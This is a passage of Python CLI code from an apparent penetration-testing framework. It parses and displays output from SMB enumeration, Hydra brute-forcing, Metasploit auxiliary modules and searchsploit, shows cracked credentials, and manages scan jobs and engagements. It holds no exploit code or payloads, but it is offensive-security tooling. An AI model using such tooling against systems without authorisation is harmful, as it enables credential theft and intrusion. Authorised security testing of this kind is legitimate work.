        if not show_raw_logs and job.get('tool') == 'crackmapexec' and job.get('status') in ['done', 'completed', 'no_results'] and log_path and os.path.exists(log_path):
            try:
                from souleyez.parsers.crackmapexec_parser import parse_crackmapexec_output
                with open(log_path, 'r', encoding='utf-8', errors='replace') as f:
                    log_content = f.read()
                parsed = parse_crackmapexec_output(log_content, job.get('target', ''))

                findings = parsed.get('findings', {})
                hosts = findings.get('hosts', [])
                shares = findings.get('shares', [])
                users = findings.get('users', [])
                vulns = findings.get('vulnerabilities', [])
                creds = findings.get('credentials', [])
                auth_info = findings.get('auth_info', {})

                # Only show summary if there's meaningful data
                if hosts or shares or users or vulns or creds or auth_info:
                    click.echo(click.style("=" * 70, fg='cyan'))
                    click.echo(click.style("SMB ENUMERATION RESULTS", bold=True, fg='cyan'))
                    click.echo(click.style("=" * 70, fg='cyan'))
                    click.echo()

                    # Host information
                    if hosts:
                        for host in hosts:
                            click.echo(click.style(f"Target: {host['hostname']} ({host['ip']}:{host['port']})", bold=True, fg='green'))
                            click.echo(click.style(f"  OS: {host['os']}", fg='white'))
                            if host.get('domain'):
                                click.echo(click.style(f"  Domain: {host['domain']}", fg='white'))

                            # Security info
                            if host.get('signing') or host.get('smbv1'):
                                click.echo()
                                click.echo(click.style("  Security Status:", bold=True))
                                if host.get('signing'):
                                    signing_color = 'red' if host['signing'].lower() == 'false' else 'green'
                                    click.echo(click.style(f"    SMB Signing: {host['signing']}", fg=signing_color))
                                if host.get('smbv1'):
                                    smbv1_color = 'red' if host['smbv1'].lower() == 'true' else 'green'
                                    smbv1_status = "Enabled (VULNERABLE)" if host['smbv1'].lower() == 'true' else "Disabled"
                                    click.echo(click.style(f"    SMBv1: {smbv1_status}", fg=smbv1_color))
                            click.echo()

                    click.echo(click.style("=" * 70, fg='cyan'))
                    click.echo()
            except Exception as e:
                pass

        # Parse and display SMBMap results if available (only when not showing raw logs)
        if not show_raw_logs and job.get('tool') == 'smbmap' and job.get('status') in ['done', 'completed'] and log_path and os.path.exists(log_path):
            try:
                from souleyez.parsers.smbmap_parser import parse_smbmap_output
                with open(log_path, 'r', encoding='utf-8', errors='replace') as f:
                    log_content = f.read()
                parsed = parse_smbmap_output(log_content, job.get('target', ''))

                shares = parsed.get('shares', [])
                if shares:
                    click.echo(click.style("=" * 70, fg='cyan'))
                    click.echo(click.style("SMB SHARE ENUMERATION", bold=True, fg='cyan'))
                    click.echo(click.style("=" * 70, fg='cyan'))
                    click.echo()

                    if parsed.get('target'):
                        click.echo(click.style(f"Target: {parsed['target']}", bold=True))
                    if parsed.get('status'):
                        auth_color = 'green' if parsed['status'] == 'Authenticated' else 'yellow'
                        click.echo(f"Authentication: {click.style(parsed['status'], fg=auth_color)}")
                    click.echo()

                    # Group shares by permissions
                    writable = [s for s in shares if s.get('writable')]
                    readable = [s for s in shares if s.get('readable') and not s.get('writable')]
                    no_access = [s for s in shares if not s.get('readable') and not s.get('writable')]

                    # Writable shares (HIGH RISK)
                    if writable:
                        click.echo(click.style(f"Writable Shares ({len(writable)}):", bold=True, fg='red'))
                        for share in writable:
                            comment = f" - {share['comment']}" if share.get('comment') else ""
                            click.echo(f"  • {share['name']} ({share['permissions']}){comment}")
                        click.echo()

                    # Readable shares
                    if readable:
                        click.echo(click.style(f"Readable Shares ({len(readable)}):", bold=True, fg='yellow'))
                        for share in readable:
                            comment = f" - {share['comment']}" if share.get('comment') else ""
                            click.echo(f"  • {share['name']} ({share['permissions']}){comment}")
                        click.echo()

                    # No access shares
                    if no_access:
                        click.echo(click.style(f"Restricted Shares ({len(no_access)}):", bold=True, dim=True))
                        for share in no_access[:5]:
                            comment = f" - {share['comment']}" if share.get('comment') else ""
                            click.echo(f"  • {share['name']}{comment}")
                        if len(no_access) > 5:
                            click.echo(f"  ... and {len(no_access) - 5} more")
                        click.echo()

                    # File enumeration results
                    files = parsed.get('files', [])
                    if files:
                        click.echo(click.style(f"Files Enumerated: {len(files)}", bold=True))
                        click.echo()

                    click.echo(click.style("=" * 70, fg='cyan'))
                    click.echo()
            except Exception as e:
                pass

        # Parse and display enum4linux results if available (only when not showing raw logs)
        if not show_raw_logs and job.get('tool') == 'enum4linux' and job.get('status') in ['done', 'completed'] and log_path and os.path.exists(log_path):
            try:
                from souleyez.parsers.enum4linux_parser import parse_enum4linux_output
                with open(log_path, 'r', encoding='utf-8', errors='replace') as f:
                    log_content = f.read()
                parsed = parse_enum4linux_output(log_content, job.get('target', ''))

                click.echo(click.style("=" * 70, fg='cyan'))
                click.echo(click.style("SMB/SAMBA ENUMERATION", bold=True, fg='cyan'))
                click.echo(click.style("=" * 70, fg='cyan'))
                click.echo()

                if parsed.get('target'):
                    click.echo(click.style(f"Target: {parsed['target']}", bold=True))
                if parsed.get('workgroup'):
                    click.echo(f"Workgroup/Domain: {parsed['workgroup']}")
                if parsed.get('domain_sid'):
                    click.echo(f"Domain SID: {parsed['domain_sid']}")
                click.echo()

                # Users
                users = parsed.get('users', [])
                if users:
                    click.echo(click.style(f"Users Discovered ({len(users)}):", bold=True, fg='green'))
                    for user in users[:15]:
                        click.echo(f"  • {user}")
                    if len(users) > 15:
                        click.echo(f"  ... and {len(users) - 15} more")
                    click.echo()

                # Groups
                groups = parsed.get('groups', [])
                if groups:
                    click.echo(click.style(f"Groups Discovered ({len(groups)}):", bold=True, fg='cyan'))
                    for group in groups[:10]:
                        click.echo(f"  • {group}")
                    if len(groups) > 10:
                        click.echo(f"  ... and {len(groups) - 10} more")
                    click.echo()

                # Shares
                shares = parsed.get('shares', [])
                if shares:
                    click.echo(click.style(f"Shares Found ({len(shares)}):", bold=True, fg='yellow'))
                    for share in shares:
                        name = share.get('name', '')
                        share_type = share.get('type', '')
                        comment = share.get('comment', '')
                        mapping = share.get('mapping', 'N/A')

                        # Color code by access
                        if mapping == 'OK':
                            access_display = click.style('Accessible', fg='green')
                        elif mapping == 'DENIED':
                            access_display = click.style('Denied', fg='red')
                        else:
                            access_display = click.style('Unknown', dim=True)

                        comment_str = f" - {comment}" if comment else ""
                        click.echo(f"  • {name} ({share_type}) [{access_display}]{comment_str}")
                    click.echo()

                click.echo(click.style("=" * 70, fg='cyan'))
                click.echo()
            except Exception as e:
                pass

        # Track credentials state for menu options
        has_credentials = False
        has_many_credentials = False

        # Parse and display msf_auxiliary results if available (only when not showing raw logs)
        if not show_raw_logs and job.get('tool') == 'msf_auxiliary' and job.get('status') in ['done', 'completed'] and log_path and os.path.exists(log_path):
            try:
                from souleyez.parsers.msf_parser import parse_msf_log
                parsed = parse_msf_log(log_path)

                findings = parsed.get('findings', [])
                credentials = parsed.get('credentials', [])
                services = parsed.get('services', [])

                if findings or credentials or services:
                    click.echo(click.style("=" * 70, fg='cyan'))
                    click.echo(click.style("PARSED RESULTS", bold=True, fg='cyan'))
                    click.echo(click.style("=" * 70, fg='cyan'))
                    click.echo()

                    # Show findings
                    if findings:
                        severity_colors = {'critical': 'red', 'high': 'red', 'medium': 'yellow', 'low': 'blue', 'info': 'cyan'}
                        click.echo(click.style(f"Findings ({len(findings)}):", bold=True))
                        for f in findings[:10]:
                            sev = f.get('severity', 'info')
                            color = severity_colors.get(sev, 'white')
                            title = f.get('title', 'Unknown')
                            click.echo(click.style(f"  [{sev.upper()}] ", fg=color) + title)
                        if len(findings) > 10:
                            click.echo(f"  ... and {len(findings) - 10} more findings")
                        click.echo()

                    # Show credentials
                    if credentials:
                        has_many_credentials = len(credentials) > 5
                        click.echo(click.style(f"Credentials ({len(credentials)}):", bold=True))
                        creds_to_show = credentials if show_all_paths else credentials[:5]
                        for c in creds_to_show:
                            user = c.get('username', '')
                            pwd = c.get('password', '')
                            svc = c.get('service', 'unknown')
                            if pwd:
                                click.echo(click.style(f"  {svc}: {user}:{pwd}", fg='green'))
                            else:
                                click.echo(f"  {svc}: {user} (username only)")
                        if not show_all_paths and len(credentials) > 5:
                            click.echo(click.style(f"  ... and {len(credentials) - 5} more (press [x] to expand)", fg='bright_black'))
                        click.echo()

                    # Show services
                    if services:
                        click.echo(click.style(f"Services ({len(services)}):", bold=True))
                        for s in services[:5]:
                            port = s.get('port', '?')
                            name = s.get('service_name', 'unknown')
                            ver = s.get('service_version', '')
                            click.echo(f"  {port}/{name}: {ver}" if ver else f"  {port}/{name}")
                        if len(services) > 5:
                            click.echo(f"  ... and {len(services) - 5} more services")
                        click.echo()

                    click.echo(click.style("=" * 70, fg='cyan'))
                    click.echo()
            except Exception as e:
                pass

        # Parse and display Hydra results if available (only when not showing raw logs)
        if not show_raw_logs and job.get('tool') == 'hydra' and log_path and os.path.exists(log_path):
            try:
                from souleyez.parsers.hydra_parser import parse_hydra_output
                with open(log_path, 'r', encoding='utf-8', errors='replace') as f:
                    log_content = f.read()
                parsed = parse_hydra_output(log_content, job.get('target', ''))

                credentials = parsed.get('credentials', [])
                usernames = parsed.get('usernames', [])
                has_credentials = len(credentials) > 0

                if credentials:
                    click.echo(click.style("=" * 70, fg='cyan'))
                    click.echo(click.style("HYDRA CREDENTIALS FOUND", bold=True, fg='cyan'))
                    click.echo(click.style("=" * 70, fg='cyan'))
                    click.echo()

                    # Summary info
                    click.echo(click.style(f"Target: {parsed.get('target_host', 'unknown')}", bold=True))
                    click.echo(f"Service: {parsed.get('service', 'unknown')} (port {parsed.get('port', 'unknown')})")
                    click.echo(click.style(f"\n✓ {len(credentials)} Valid Credential(s) Found", fg='green', bold=True))
                    click.echo()

                    # Display credentials in table format
                    for i, cred in enumerate(credentials, 1):
                        host = cred.get('host', parsed.get('target_host', 'unknown'))
                        service = cred.get('service', parsed.get('service', 'unknown'))
                        port = cred.get('port', parsed.get('port', 'unknown'))

                        click.echo(click.style(f"[{i}] {host}:{port} ({service})", bold=True, fg='green'))
                        click.echo(f"    Username: {click.style(cred['username'], fg='yellow')}")
                        # Mask password unless explicitly revealed
                        if show_passwords:
                            click.echo(f"    Password: {click.style(cred['password'], fg='yellow')}")
                        else:
                            click.echo(f"    Password: {click.style('********', fg='red', dim=True)}")
                        click.echo()

                    # Show password visibility status
                    if not show_passwords:
                        click.echo(click.style("🔒 Passwords are hidden. Use [p] to reveal.", fg='yellow', dim=True))
                        click.echo()

                    # Show if credentials were saved
                    from souleyez.storage.credentials import CredentialsManager
                    engagement_id = job.get('engagement_id')
                    if engagement_id:
                        cm = CredentialsManager()
                        # Check if credentials exist in database
                        all_creds = cm.list_credentials(engagement_id)
                        hydra_creds = [c for c in all_creds if c.get('tool') == 'hydra']
                        if hydra_creds:
                            click.echo(click.style(f"✓ Credentials saved to database ({len(hydra_creds)} total from Hydra)", fg='green'))
                            click.echo()

                    click.echo(click.style("=" * 70, fg='cyan'))
                    click.echo()

                elif usernames:
                    # Username-only enumeration results (no valid passwords found)
                    click.echo(click.style("=" * 70, fg='yellow'))
                    click.echo(click.style("HYDRA VALID USERNAMES FOUND", bold=True, fg='yellow'))
                    click.echo(click.style("=" * 70, fg='yellow'))
                    click.echo()

                    # Summary info
                    click.echo(click.style(f"Target: {parsed.get('target_host', 'unknown')}", bold=True))
                    click.echo(f"Service: {parsed.get('service', 'unknown')} (port {parsed.get('port', 'unknown')})")
                    click.echo(click.style(f"\n✓ {len(usernames)} Valid Username(s) Found (password unknown)", fg='yellow', bold=True))
                    click.echo()

                    # Display usernames
                    for i, username in enumerate(usernames, 1):
                        click.echo(click.style(f"[{i}] Username: {username}", bold=True, fg='yellow'))
                    click.echo()

                    click.echo(click.style("Note: These usernames exist but passwords were not cracked.", fg='white'))
                    click.echo(click.style("Consider running targeted password attacks on these accounts.", fg='white'))
                    click.echo()

                    click.echo(click.style("=" * 70, fg='yellow'))
                    click.echo()
            except Exception as e:
                # Silently fail - not critical
                pass

        # Parse and display SearchSploit results if available (only when not showing raw logs)
        if not show_raw_logs and job.get('tool') == 'searchsploit' and job.get('status') in ['done', 'completed'] and log_path and os.path.exists(log_path):
            try:
                from souleyez.parsers.searchsploit_parser import parse_searchsploit
                parsed = parse_searchsploit(log_path, job.get('target', ''))

                exploits = parsed.get('exploits', [])
                if exploits:
                    click.echo(click.style("=" * 70, fg='cyan'))
                    click.echo(click.style("SEARCHSPLOIT RESULTS", bold=True, fg='cyan'))
                    click.echo(click.style("=" * 70, fg='cyan'))
                    click.echo()

                    click.echo(click.style(f"Search Term: {parsed.get('target', 'unknown')}", bold=True))
                    click.echo(click.style(f"Found: {len(exploits)} exploit(s)", fg='green', bold=True))
                    click.echo()

                    # Group by type
                    type_groups = {}
                    for exploit in exploits:
                        etype = exploit.get('type', 'unknown') or 'unknown'
                        if etype not in type_groups:
                            type_groups[etype] = []
                        type_groups[etype].append(exploit)

                    # Display by type
                    for etype, group in sorted(type_groups.items()):
                        type_color = 'red' if etype in ['remote', 'webapps'] else 'yellow' if etype == 'local' else 'cyan'
                        click.echo(click.style(f"[{etype.upper()}] ({len(group)} exploit(s))", bold=True, fg=type_color))

                        # Show all exploits if toggled, otherwise limit to 10 per type
                        exploits_to_show = group if show_all_paths else group[:10]

                        for i, exploit in enumerate(exploits_to_show):
                            edb_id = exploit.get('edb_id', '?')
                            title = exploit.get('title', 'Unknown')[:60]
                            platform = exploit.get('platform', '')
                            verified = '✓' if exploit.get('verified') else ''
                            cves = exploit.get('codes', '')

                            # Truncate title if needed
                            if len(exploit.get('title', '')) > 60:
                                title += '...'

                            line = f"  EDB-{edb_id}: {title}"
                            if platform:
                                line += f" [{platform}]"
                            if verified:
                                line += f" {verified}"

                            click.echo(line)

                            # Show CVEs if present
                            if cves:
                                click.echo(click.style(f"    CVEs: {cves}", fg='yellow', dim=True))

                        if not show_all_paths and len(group) > 10:
                            click.echo(click.style(f"  ... and {len(group) - 10} more (press [x] to expand)", fg='bright_black'))
                        click.echo()

                    click.echo(click.style("=" * 70, fg='cyan'))
                    click.echo()

            except Exception as e:
                # Silently fail - not critical
                pass

        click.echo()

        # Actions menu
        click.echo(click.style("ACTIONS:", bold=True))

        # Build actions list based on job status and parser availability
        actions = []

        # Pagination controls (only if raw logs are showing and log exists)
        if (show_raw_logs or not has_parser) and log_path and os.path.exists(log_path):
            try:
                # Check if pagination is needed
                with open(log_path, 'r', encoding='utf-8', errors='replace') as f:
                    total_lines = len(f.read().split('\n'))

                if total_lines > lines_per_page:
                    current_end = min(log_offset + lines_per_page, total_lines) if log_offset >= 0 else total_lines

                    # [m] More lines (only if not at end and not showing full log)
                    if log_offset >= 0 and log_offset != -1 and current_end < total_lines:
                        click.echo("    " + click.style("[m]", fg='cyan', bold=True) + " Show more lines")
                        actions.append('m')

                    # [f] Show full log (only if not already showing full)
                    if log_offset != -1:
                        click.echo("    " + click.style("[f]", fg='green', bold=True) + " Show full log")
                        actions.append('f')

                    # [t] Jump to tail (only if not already at tail)
                    if log_offset != -2:
                        click.echo("    " + click.style("[t]", fg='yellow', bold=True) + " Jump to tail")
                        actions.append('t')

                    # [1] Reset to start (only if not at start)
                    if log_offset not in [0, -1]:
                        click.echo("    " + click.style("[1]", fg='cyan', bold=True) + " Back to start")
                        actions.append('1')
            except:
                pass

        # [r] Toggle raw logs (only for tools with parsers)
        if has_parser:
            action_text = "Hide raw logs" if show_raw_logs else "Show raw logs"
            click.echo("    " + click.style("[r]", fg='cyan', bold=True) + f" {action_text}")
            actions.append('r')

        # [x] Toggle show all paths/exploits/credentials/details (for ffuf/gobuster/searchsploit/msf_auxiliary/sqlmap with many items)
        show_expand_option = (
            (not show_raw_logs and has_parser and job.get('tool') in ['ffuf', 'gobuster', 'searchsploit', 'sqlmap']) or
            (not show_raw_logs and job.get('tool') == 'msf_auxiliary' and has_many_credentials)
        )
        if show_expand_option:
            if job.get('tool') == 'searchsploit':
                action_text = "Show limited exploits" if show_all_paths else "Show all exploits"
            elif job.get('tool') == 'msf_auxiliary':
                action_text = "Show limited credentials" if show_all_paths else "Show all credentials"
            elif job.get('tool') == 'sqlmap':
                action_text = "Collapse details" if show_all_paths else "Expand details (full payloads, data)"
            else:
                action_text = "Show limited paths" if show_all_paths else "Show all paths"
            click.echo("    " + click.style("[x]", fg='green', bold=True) + f" {action_text}")
            actions.append('x')

        # [p] Toggle password reveal (only when credentials are displayed)
        if has_credentials:
            action_text = "Hide passwords" if show_passwords else "Reveal passwords"
            click.echo("    " + click.style("[p]", fg='magenta', bold=True) + f" {action_text}")
            actions.append('p')

        # [k] Kill job (only for running jobs)
        if job.get('status') == 'running':
            click.echo("    " + click.style("[k]", fg='red', bold=True) + " Kill this job")
            actions.append('k')

        # [d] Delete job (only for completed/failed jobs)
        elif job.get('status') in ['done', 'error', 'killed', 'no_results', 'warning']:
            click.echo("    " + click.style("[d]", fg='yellow', bold=True) + " Delete this job")
            actions.append('d')

        # [n] Re-run job (only for completed/failed jobs)
        if job.get('status') in ['done', 'error', 'killed', 'no_results', 'warning']:
            click.echo("    " + click.style("[n]", fg='green', bold=True) + " Re-run this job")
            actions.append('n')

        # [q] Back (always available)
        click.echo("    " + click.style("[q]", fg='cyan', bold=True) + " Back")
        actions.append('q')

        click.echo()

        # Get user choice
        try:
            choice = click.prompt("Select option", type=str, default='q', show_default=False).strip().lower()

            # Handle pagination controls
            if choice == 'm' and 'm' in actions:
                # Show more lines (next page)
                if log_offset >= 0:
                    log_offset += lines_per_page
                continue

            elif choice == 'f' and 'f' in actions:
                # Show full log
                log_offset = -1
                continue

            elif choice == 't' and 't' in actions:
                # Jump to tail
                log_offset = -2
                continue

            elif choice == '1' and '1' in actions:
                # Reset to start
                log_offset = 0
                continue

            elif choice == 'r' and has_parser:
                # Toggle raw logs and redisplay
                show_raw_logs = not show_raw_logs
                log_offset = 0  # Reset pagination when toggling
                continue

            elif choice == 'x' and 'x' in actions:
                # Toggle show all paths and redisplay
                show_all_paths = not show_all_paths
                continue

            elif choice == 'p' and 'p' in actions:
                # Toggle password reveal
                if show_passwords:
                    # Already showing - just hide them
                    show_passwords = False
                    continue
                else:
                    # Need to verify master password to reveal
                    from souleyez.security import unlock_credentials_if_needed

                    click.echo()
                    if unlock_credentials_if_needed():
                        show_passwords = True
                    else:
                        click.echo(click.style("  ✗ Authentication failed", fg='red'))

                    click.pause("\n  Press any key to continue...")
                    continue

            elif choice == 'k' and job.get('status') == 'running':
                # Kill job
                if click.confirm(click.style("\n  Confirm kill job?", fg='red'), default=False):
                    from souleyez.engine.background import kill_job
                    if kill_job(job_id):
                        click.echo(click.style("  ✓ Job killed successfully", fg='green'))
                        click.pause("\n  Press any key to continue...")
                        return
                    else:
                        click.echo(click.style("  ✗ Failed to kill job", fg='red'))
                        click.pause("\n  Press any key to continue...")
                        continue

            elif choice == 'd' and job.get('status') in ['done', 'error', 'killed', 'no_results', 'warning']:
                # Delete job
                if click.confirm(click.style("\n  Confirm delete job?", fg='yellow'), default=False):
                    from souleyez.engine.background import delete_job
                    if delete_job(job_id):
                        click.echo(click.style("  ✓ Job deleted successfully", fg='green'))
                        click.pause("\n  Press any key to continue...")
                        return
                    else:
                        click.echo(click.style("  ✗ Failed to delete job", fg='red'))
                        click.pause("\n  Press any key to continue...")
                        continue

            elif choice == 'n' and 'n' in actions:
                # Re-run job
                if click.confirm(click.style("\n  Re-run this job with same parameters?", fg='green'), default=True):
                    from souleyez.engine.background import enqueue_job

                    # Extract job parameters
                    tool = job.get('tool', '')
                    target = job.get('target', '')
                    args = job.get('args', [])
                    label = job.get('label', '')
                    engagement_id = job.get('engagement_id')

                    # Create metadata referencing original job
                    metadata = {'rerun_of': job_id}
                    if job.get('metadata'):
                        # Preserve some original metadata
                        orig_meta = job.get('metadata', {})
                        if 'reason' in orig_meta:
                            metadata['original_reason'] = orig_meta['reason']

                    # Build label - strip existing (re-run) suffix to avoid duplicates
                    new_label = label.rstrip()
                    if new_label.endswith('(re-run)'):
                        new_label = new_label[:-8].rstrip()
                    new_label = f"{new_label} (re-run)" if new_label else "Re-run"

                    # Queue the new job
                    new_job_id = enqueue_job(
                        tool=tool,
                        target=target,
                        args=args,
                        label=new_label,
                        engagement_id=engagement_id,
                        metadata=metadata
                    )

                    click.echo(click.style(f"  ✓ Job queued as #{new_job_id}", fg='green'))
                    click.pause("\n  Press any key to continue...")
                    return
                continue

            else:
                # Back or any other choice - exit
                return

        except (KeyboardInterrupt, click.Abort):
            return


def view_results_menu():
    """Show scan results menu."""
    em = EngagementManager()
    current_ws = em.get_current()

    if not current_ws:
        click.echo(click.style("No engagement selected!", fg='red'))
        click.pause()
        return

    engagement_id = current_ws['id']

    while True:
        DesignSystem.clear_screen()
        click.echo("\n" + "=" * 70)
        click.echo(f"SCAN RESULTS - Engagement: {current_ws['name']}")
        click.echo("=" * 70 + "\n")

        stats = em.stats(engagement_id)

        click.echo("  1. Hosts        ({:3} total)".format(stats['hosts']))
        click.echo("  2. Services     ({:3} total)".format(stats['services']))
        click.echo("  3. Findings     ({:3} total)".format(stats['findings']))

        # Get credentials count
        try:
            from souleyez.storage.credentials import CredentialsManager
            cm = CredentialsManager()
            creds_stats = cm.get_stats(engagement_id)
            creds_count = creds_stats['total']
        except:
            creds_count = 0

        # Get paths count
        try:
            wpm = WebPathsManager()
            # Count all paths across all hosts
            paths_count = 0
            hm = HostManager()
            for host in hm.list_hosts(engagement_id):
                paths_count += len(wpm.list_paths(host['id']))
        except:
            paths_count = 0

        click.echo("  4. Credentials  ({:3} total)".format(creds_count))
        click.echo("  5. Web Paths    ({:3} total)".format(paths_count))
        
        # Discovery Summary (Last 24 hours)
        try:
            from datetime import datetime, timedelta
            om = OsintManager()
            
            # Get all OSINT data and filter by last 24 hours
            all_osint = om.list_osint_data(engagement_id)
            cutoff_time = datetime.now() - timedelta(hours=24)
            
            def is_recent(timestamp_str):
                if not timestamp_str:
                    return False
                try:
                    created = datetime.fromisoformat(timestamp_str.replace('Z', '+00:00'))
                    return created > cutoff_time
                except:
                    return False
            
            recent_osint = [o for o in all_osint if is_recent(o.get('created_at'))]
            
            if recent_osint:
                # Count by type
                ips = [o for o in recent_osint if o['data_type'] == 'ip']
                urls = [o for o in recent_osint if o['data_type'] == 'url']
                emails = [o for o in recent_osint if o['data_type'] == 'email']
                nameservers = [o for o in recent_osint if o['data_type'] == 'nameserver']
                mail_servers = [o for o in recent_osint if o['data_type'] == 'mail_server']
                
                # Check how many IPs have been scanned (have associated hosts)
                hm = HostManager()
                hosts = hm.list_hosts(engagement_id)
                scanned_ips = len([h for h in hosts if h.get('status') in ['scanned', 'up']])
                
                click.echo()
                click.echo(click.style("  Discovery Summary (Last 24h):", bold=True, fg='cyan'))
                
                if ips:
                    click.echo(f"    • {len(ips)} IPs discovered → {scanned_ips} scanned ✓")
                if urls:
                    click.echo(f"    • {len(urls)} URL(s) discovered → auto-scanned ✓")
                if emails:
                    click.echo(f"    • {len(emails)} email(s) found")
                if nameservers or mail_servers:
                    click.echo(f"    • {len(nameservers)} nameservers, {len(mail_servers)} mail servers identified")
        except:
            pass  # Silently skip if OSINT module unavailable
        
        click.echo()
        click.echo("  [q] ← Back")
        click.echo()

        try:
            choice_input = click.prompt("Select data type", type=str, default='q').strip()

            if choice_input == 'q':
                return
            try:
                choice = int(choice_input)
            except ValueError:
                click.echo(click.style("Invalid selection!", fg='red'))
                click.pause()
                continue

            if choice == 1:
                view_hosts(engagement_id)
            elif choice == 2:
                view_services(engagement_id)
            elif choice == 3:
                view_findings(engagement_id)
            elif choice == 4:
                view_credentials(engagement_id)
            elif choice == 5:
                view_web_paths(engagement_id)
            else:
                click.echo(click.style("Invalid selection!", fg='red'))
                click.pause()

        except (KeyboardInterrupt, click.Abort):
            return


def _engagements_bulk_action_menu(selected_ids: set, em, current_id: int):
    """Show bulk action menu for selected engagements."""
    click.echo()
    click.echo(f"  Selected: {len(selected_ids)} engagement(s)")

    # Get first selected for "switch" action
    first_id = next(iter(selected_ids)) if selected_ids else None
    first_eng = em.get_by_id(first_id) if first_id else None

    if first_eng:
        click.echo(f"    [s] Switch to '{first_eng['name']}'")
    click.echo("    [d] Delete selected engagements")
    click.echo("    [u] Unselect all")
    click.echo("    [q] Back")

    try:
        action = click.prompt("  Select option", type=str, default='q', show_default=False).strip().lower()

        if action == 's' and first_eng:
            # Switch to first selected
            if em.set_current(first_eng['name']):
                click.echo(click.style(f"\n  ✓ Switched to '{first_eng['name']}'", fg='green'))
            else:
                click.echo(click.style("\n  ✗ Failed to switch!", fg='red'))
            selected_ids.clear()
            click.pause()

        elif action == 'd':
            # Delete selected (except current)
            deletable = [eid for eid in selected_ids if eid != current_id]

            if not deletable:
                click.echo(click.style("\n  ✗ Cannot delete current engagement. Switch to another first.", fg='red'))
                click.pause()
                return

            # Show what will be deleted
            click.echo(f"\n  Will delete {len(deletable)} engagement(s):")
            for eid in list(deletable)[:5]:
                eng = em.get_by_id(eid)
                if eng:
                    click.echo(f"    - {eng['name']} (ID: {eid})")
            if len(deletable) > 5:
                click.echo(f"    ... and {len(deletable) - 5} more")

            if click.confirm(f"\n  Delete {len(deletable)} engagement(s)?", default=False):
                deleted = 0
                for eid in deletable:
                    eng = em.get_by_id(eid)
                    if eng:
                        try:
                            em.delete(eng['name'])
                            deleted += 1
                            selected_ids.discard(eid)
                        except Exception:
                            pass
                click.echo(click.style(f"\n  ✓ Deleted {deleted} engagement(s)", fg='green'))
            else:
                click.echo("\n  Cancelled.")
            click.pause()

        elif action == 'u':
            selected_ids.clear()
            click.echo(click.style("\n  ✓ Unselected all", fg='green'))

    except (KeyboardInterrupt, click.Abort):
        pass


def _filter_engagements_by_search():
    """Prompt for search term to filter engagements."""
    try:
        term = click.prompt("\nSearch term (name)", type=str, default='').strip()
        return term if term else None
    except (KeyboardInterrupt, click.Abort):
        return None


def _filter_engagements_by_data():
    """Prompt to filter engagements by data presence."""
    click.echo("\nFilter by data:")
    click.echo("  [1] Has hosts")
    click.echo("  [2] Has findings")
    click.echo("  [3] Has data (hosts or findings)")
    click.echo("  [4] Empty (no data)")
    click.echo("  [q] Clear filter")

    try:
        choice_input = click.prompt("Filter", type=str, default='q').strip()
        if choice_input == 'q':
            return None
        try:
            choice = int(choice_input)
            data_map = {
                1: 'has_hosts',
                2: 'has_findings',
                3: 'has_data',
                4: 'empty'
            }
            return data_map.get(choice)
        except ValueError:
            return None
    except (KeyboardInterrupt, click.Abort):
        return None


def manage_engagements_menu():
    """Interactive engagement management menu."""
    from rich.console import Console
    from rich.table import Table
    import shutil
    import math
    from souleyez.ui.deliverables_view import show_deliverables_dashboard
    from souleyez.ui.export_view import show_export_view

    em = EngagementManager()

    # State variables (like Findings/Job Queue)
    current_page = 0
    PAGE_SIZE = 20
    view_all = False
    selected_ids = set()
    filters = {
        'search': None,
        'data': None  # has_hosts, has_findings, has_data, empty
    }

    while True:
        DesignSystem.clear_screen()

        # Header
        render_standard_header("ENGAGEMENT MANAGEMENT")

        # List all engagements
        all_engagements = em.list()
        current_ws = em.get_current()
        current_id = current_ws['id'] if current_ws else None

        # Apply filters
        engagements = all_engagements
        if filters['search']:
            search_term = filters['search'].lower()
            engagements = [e for e in engagements if search_term in e['name'].lower()]

        if filters['data']:
            filtered = []
            for e in engagements:
                stats = em.stats(e['id'])
                has_hosts = stats['hosts'] > 0
                has_findings = stats['findings'] > 0
                has_data = has_hosts or has_findings

                if filters['data'] == 'has_hosts' and has_hosts:
                    filtered.append(e)
                elif filters['data'] == 'has_findings' and has_findings:
                    filtered.append(e)
                elif filters['data'] == 'has_data' and has_data:
                    filtered.append(e)
                elif filters['data'] == 'empty' and not has_data:
                    filtered.append(e)
            engagements = filtered

        # Calculate pagination
        total_items = len(engagements)
        total_pages = max(1, math.ceil(total_items / PAGE_SIZE))
        current_page = min(current_page, total_pages - 1)

        # Get page slice
        if view_all:
            page_items = engagements
        else:
            start_idx = current_page * PAGE_SIZE
            end_idx = min(start_idx + PAGE_SIZE, total_items)
            page_items = engagements[start_idx:end_idx]

        click.echo()
        click.echo(f"  Total: {total_items} engagement(s)")
        if selected_ids:
            click.echo(f"  Selected: {len(selected_ids)}")
        click.echo()

        if not engagements:
            if any(filters.values()):
                click.echo("  No engagements match the current filters.")
            else:
                click.echo("  No engagements found. Create one to get started!")
        else:
            # Create Rich table (compact layout like Jobs)
            console = Console()
            table = Table(show_header=True, header_style="bold", box=DesignSystem.TABLE_BOX, padding=(0, 1), expand=True)

            table.add_column("○", width=3, justify="center")  # Selection checkbox
            table.add_column("", width=1, no_wrap=True)  # Current marker (★)
            table.add_column("ID", width=4, justify="right", no_wrap=True)
            table.add_column("Name", no_wrap=True, max_width=35)
            table.add_column("Hosts", width=6, justify="right")
            table.add_column("Svcs", width=6, justify="right")
            table.add_column("Finds", width=6, justify="right")

            for ws in page_items:
                ws_id = ws['id']
                ws_name = ws['name']
                stats = em.stats(ws_id)

                # Selection checkbox
                checkbox = '●' if ws_id in selected_ids else '○'

                # Mark current engagement
                if ws_id == current_id:
                    marker = "★"
                    name_display = f"[bold green]{ws_name}[/bold green]"
                else:
                    marker = ""
                    name_display = ws_name

                table.add_row(
                    checkbox,
                    marker,
                    str(ws_id),
                    name_display,
                    str(stats['hosts']),
                    str(stats['services']),
                    str(stats['findings'])
                )

            console.print(table)

        click.echo()

        # Show active filters
        active_filters = [f"{k}={v}" for k, v in filters.items() if v]
        if active_filters:
            click.echo(f"  Filters: {', '.join(active_filters)}")
            click.echo()

        # Pagination info
        if not view_all and total_pages > 1:
            click.echo(f"  Page {current_page + 1}/{total_pages}")

        click.echo("  💡 TIP: Press 'i' for interactive mode, enter ID to select")
        if total_pages > 1 and not view_all:
            click.echo("  n/p: Next/Previous page")
        click.echo()
        click.echo("─" * get_terminal_width())
        click.echo()

        # Main menu options (like Findings/Job Queue style)
        click.echo("  [#] Select engagement by ID")
        if view_all:
            click.echo("  [a] All - Show paginated view")
        else:
            click.echo("  [a] All - Toggle pagination")
